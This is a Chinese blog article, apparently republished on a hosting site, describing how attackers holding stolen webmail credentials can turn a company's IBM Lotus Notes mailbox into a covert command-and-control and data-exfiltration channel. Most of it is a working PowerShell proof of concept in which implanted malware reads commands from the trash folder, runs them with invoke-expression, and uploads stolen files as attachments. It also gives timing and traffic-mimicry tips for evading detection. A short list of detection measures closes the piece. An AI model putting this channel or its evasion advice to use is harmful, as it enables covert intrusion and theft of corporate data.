利用企业邮件系统构造命令控制(C&C)和数据窃取(Exfiltration)通道的思路探讨

假设场景

我们假设目标企业组织内设置了这样一种安全措施:

01:内部用户工作站电脑不能直接连接互联网,只能通过其中架设的代理服务器执行外部Web请求和DNS查询,而且代理服务器又设置了流量监控功能,由其产生的HTTP和DNS请求流量都能被监测发现。

02:由于从某种程度上来说,代理服务器“打破”了内部用户机与外部服务器之间点对点连接模式,包括HTTPS方式,所以像Domain fronting这种隐蔽攻击方式一样可以被监测到,所以只有一些白名单网站可以被放行通过。

03:这种环境下,企业的大部分内部服务器都被设置了联网限制,当然也就不存在服务暴露情况,因为所有企业相关网站或博客等服务可能都被部署在谷歌云存储平台,只有网站管理员以相应的企业社交网络账号从其它隔离的工作站电脑上登录进入管理面板,才能进行内容更新修改操作。

在这种场景下,传统的通过Web或DNS方式进行的C&C(命令控制)和数据窃取操作貌似不可行,此时,我们可以尝试使用另外一种奇技淫巧:利用企业网页邮件系统。

利用思路

如今,灵活便捷的企业邮箱登录是办公手段的必需,如果不考虑所有安全措施,抽象意义上来说,邮箱系统是所有内网环境(如员工电脑)和各式外网终端,如公司配发的具有邮箱登录入口APP的智能手机和平板、通过浏览器方式以IBM iNotes或Microsoft OWA访问登录的电脑等。很多情况下,这种联网的企业网页邮件系统大多都不具备双因素认证(2FA)和科学集中器等安全机制。而且,很多移动端APP都缺乏OAuth或“应用密码”等授权认证机制,只需用户名密码就可对接入系统进行直接登录配置。

因此,如果我们通过网络攻击方式或从一些泄露数据库中,获取到目标机构运行于互联网上的有效企业邮箱系统用户登录凭据(用户名/密码)后,可以藉此为突破口控制利用该企业用户电子邮箱,感染内网用户主机,渗透进入企业内网。之后,针对我们植入的恶意软件,可以构造这样一种C&C通道:在该企业用户电子邮箱的垃圾箱文件夹内设置特殊格式消息文件,恶意软件通过读取这种消息文件信息,执行我们的控制命令;当然,也可以构造一种类似的数据窃取(exfiltration)通道:植入的恶意软件把从企业机构内部窃取的文档数据,上传存储到该企业用户电子邮箱的垃圾箱文件夹内(这些文档数据可以是加密或其它方式的存在),之后,我们可以远程登录进入网页邮件系回收这些文档数据,并且可以不留痕迹地删除这些存储数据。

尽管技术上看似简单,但很难从所有合法网络流量中识别出C&C和Exfiltration方式流量。例如,企业用户在19:00下班,我们可以在已经渗透控制的目标企业用户主机上,在18:30时刻(下班前繁忙的网络流量中很难被发觉是有规律的访问行为),通过植入木马把窃取文档数据上传至被控制电子邮箱的垃圾文件夹内,之后,在20:30时刻,通过Webmail或移动终端API回收窃取数据,因为该时段很难区分出到底是在员工家中还是企业手机端的访问行为。

由于我们不是把消息或数据发送到外部地址,而是通过邮箱自动发送或向特定文件夹内上传消息文件,所以,这种操作行为,在所有进出的SMTP流量中也很难被发现。另外,还可以通过其它手段来增加检测发现难度:当被渗透控制的企业用户主机启动邮箱客户端程序时,运行植入的恶意程序,通过企业内网非黑名单IP接入Webmail端,使用与目标企业机构相同的移动运营商、程序终端、操作系统或浏览器等。

概念性验证攻击展示(PoC)

我们以IBM Lotus Notes邮件系统为例,作一个概念性验证展示。企业如果架设了IBM Lotus Notes邮件系统,则对企业内网用户来说,可以使用Notes的邮件客户端,而外网用户则可以通过Webmail方式或该邮件系统的IBM Verse移动APP终端进行访问。

另外,有意思的是,Lotus Notes还提供了对邮件客户端的邮件定制开发API,其中具有一个COM组件方法Notes.NotesSession,我们可以利用它来进行方法调用和定制语言选择。在这里,我们使用PowerShell脚本作为PoC验证。

在我们控制利用的企业用户电子邮箱中,包含可以定期执行我们控制命令的简单PowerShell脚本。我们向企业内网植入的恶意程序,将以预期任务、WMI或其它复杂技巧来请求这些脚本来实现命令控制。

在此,如果Notes邮件客户端正常运行的情况下,我们将只利用其COM组件方法来对邮件作一些定制调用,因为这样可以避免一些用户端的报警警告:

  1. $running = get-process nlnotes -erroraction silentlycontinue 
  2. if ($running -eq $null) { exit } 

如果Notes邮件客户端没有运行,我们可以初始化COM组件,并打开默认配置的数据库和服务器:

  1. $notes = New-Object -ComObject Notes.NotesSession 
  2.  
  3. $db = $notes.getdatabase(""""
  4.  
  5. if (!$db.isopen()) { 
  6.   $db.openmail() 

之后,我们可以定义数据窃取Exfiltrate()方法,来存储窃取文档并上传到被控制利用的企业用户电子邮箱垃圾文件夹内:

  1. function Exfiltrate($path) { 
  2.   $doc = $db.createdocument() 
  3.   $richText = $doc.createrichtextitem("Attachment"
  4.   $richText.embedobject(1454, "", $path, "Attachment"
  5.   $doc.save($true, $false, $true); 
  6.   $doc.remove($true

在以上代码中,可以看到,我们通过实例化方法$db.createdocument()创建了一个新文档,并把文档附加第一个参数中,以$doc.save()方法进行保存,之后调用$doc.remove()方法把文件删除到电子邮箱的垃圾文件夹内(PS:如果我们不调用remove()方法,则新建文档将会存储在一个未知文件夹内,不会出现在收件箱内,只能通过选择“所有附件”按钮才能看到,这也算是另外一种隐蔽消息的方法)。

最终,可以构造形如以下的C&C命令脚本,让植入的恶意程序进行读取执行:

  1. $trash = $db.getview("`$SoftDeletions"
  2.  
  3. $doc = $trash.getfirstdocument() 
  4. while ($doc -ne $null) { 
  5.   $subj = $doc.getitemvalue("Subject"
  6.   if ($subj -eq "powershell") { 
  7.     $code = $doc.getitemvalue("Body"
  8.     invoke-expression $code[0] 
  9.     $doc.removepermanently($true
  10.     break 
  11.   } 
  12.  
  13.   $doc = $trash.getnextdocument($doc) 

首先,我们打开$SoftDeletions方法查看Notes邮箱数据库,并以此方式调用电子邮箱的垃圾文件夹,以$trash.getfirstdocument()方法查看所有垃圾文件夹内的文件,如果其涉及主题为“powershell”字符串,我们将进一步读取其邮件主体信息,一旦执行完内置该Powershell的Payload之后,将调用$doc.removepermanently()方法进行永久删除。

实际利用

我们如何来操作这段简单的PoC呢?前提是我们获得了能登录Webmail端的企业员工有效用户名密码,并向企业内网某主机植入了窃取数据的恶意程序。攻击者从互联网登录进入该企业员工被控制利用的Webmail端,并以Powershell方式向其邮箱内自动发送消息邮件的大致方式如下:

 

该消息邮件被删除之后,进入邮箱垃圾文件夹:

 

我们植入的恶意程序在内网主机运行之后,可以设置其检索该邮箱垃圾文件夹内的以上Powershell消息邮件,通过读取该邮件体中内置的内容执行命令。如以上邮件消息中设置把窃取文件存储到c:\windows\temp\ps.txt文件内,并通过邮件上传附件实现exfiltrate方法的文档外传窃取。

当然,如果攻击者通过互联网方式登录进入Webmail端后,将会在邮箱垃圾文件夹发现以下存储的窃取文件:

 

我们可以看到,邮箱垃圾文件夹的该消息邮件,没有任何主题(subject)和来源(from)信息,并具有一个名为ps.txt的附件:

 

最终,攻击者只需简单地下载该文件并删除垃圾文件夹内信息,就能以这种“暗度陈仓”的方式实现C&C命令控制和数据窃取(Exfiltration)。以下为该过程中利用的完整Powershell脚本:

  1. $running = get-process nlnotes -erroraction silentlycontinue 
  2. if ($running -eq $null) { exit } 
  3.  
  4. $notes = New-Object -ComObject Notes.NotesSession 
  5. $db = $notes.getdatabase(""""
  6. if (!$db.isopen()) { 
  7.   $db.openmail() 
  8.  
  9. function Exfiltrate($path) { 
  10.   $doc = $db.createdocument() 
  11.   $richText = $doc.createrichtextitem("Attachment"
  12.   $richText.embedobject(1454, "", $path, "Attachment"
  13.   $doc.save($true, $false, $true); 
  14.   $doc.remove($true
  15.  
  16. $trash = $db.getview("`$SoftDeletions"
  17. $doc = $trash.getfirstdocument() 
  18. while ($doc -ne $null) { 
  19.   $subj = $doc.getitemvalue("Subject"
  20.   if ($subj -eq "powershell") { 
  21.     $code = $doc.getitemvalue("Body"
  22.     invoke-expression $code[0] 
  23.     $doc.removepermanently($true
  24.     break 
  25.   } 
  26.   $doc = $trash.getnextdocument($doc) 

如果目标企业机构使用的是其它架构邮箱系统,如Microsoft (Exchange/Outlook/OWA)等,这其中相关的消息、收件箱、文件夹和命令等属性操作可以直接应用到植入的恶意程序配置内。

如何检测此类可疑行为?

  • 对企业邮箱系统设置双因素认证机制;
  • 监测邮箱内奇怪的附件信息,如PowerShell脚本、加密数据、混淆数据,监测对邮箱的异常访问和操作行为;
  • 企业邮箱系统访问IP限制,如Tor、科学、国家或黑名单等;
  • 限制与企业移动运营商不同的其它移动运营商APP会话访问;
  • 企业邮箱账户不常登录使用的浏览器识别;
  • 监测邮件自动消息发送行为;
  • 监测识别企业用户主机登录访问企业邮箱行为……

文章来源网络,作者:运维,如若转载,请注明出处:https://shuyeidc.com/wp/122170.html<

(0)
运维的头像运维
上一篇2025-02-22 05:32
下一篇 2025-02-22 05:34

相关推荐

  • 个人主题怎么制作?

    制作个人主题是一个将个人风格、兴趣或专业领域转化为视觉化或结构化内容的过程,无论是用于个人博客、作品集、社交媒体账号还是品牌形象,核心都是围绕“个人特色”展开,以下从定位、内容规划、视觉设计、技术实现四个维度,详细拆解制作个人主题的完整流程,明确主题定位:找到个人特色的核心主题定位是所有工作的起点,需要先回答……

    2025-11-20
    0
  • 社群营销管理关键是什么?

    社群营销的核心在于通过建立有温度、有价值、有归属感的社群,实现用户留存、转化和品牌传播,其管理需贯穿“目标定位-内容运营-用户互动-数据驱动-风险控制”全流程,以下从五个维度展开详细说明:明确社群定位与目标社群管理的首要任务是精准定位,需明确社群的核心价值(如行业交流、产品使用指导、兴趣分享等)、目标用户画像……

    2025-11-20
    0
  • 香港公司网站备案需要什么材料?

    香港公司进行网站备案是一个涉及多部门协调、流程相对严谨的过程,尤其需兼顾中国内地与香港两地的监管要求,由于香港公司注册地与中国内地不同,其网站若主要服务内地用户或使用内地服务器,需根据服务器位置、网站内容性质等,选择对应的备案路径(如工信部ICP备案或公安备案),以下从备案主体资格、流程步骤、材料准备、注意事项……

    2025-11-20
    0
  • 如何企业上云推广

    企业上云已成为数字化转型的核心战略,但推广过程中需结合行业特性、企业痛点与市场需求,构建系统性、多维度的推广体系,以下从市场定位、策略设计、执行落地及效果优化四个维度,详细拆解企业上云推广的实践路径,精准定位:明确目标企业与核心价值企业上云并非“一刀切”的方案,需先锁定目标客户群体,提炼差异化价值主张,客户分层……

    2025-11-20
    0
  • PS设计搜索框的实用技巧有哪些?

    在PS中设计一个美观且功能性的搜索框需要结合创意构思、视觉设计和用户体验考量,以下从设计思路、制作步骤、细节优化及交互预览等方面详细说明,帮助打造符合需求的搜索框,设计前的规划明确使用场景:根据网站或APP的整体风格确定搜索框的调性,例如极简风适合细线条和纯色,科技感适合渐变和发光效果,电商类则可能需要突出搜索……

    2025-11-20
    0

发表回复

您的邮箱地址不会被公开。必填项已用 * 标注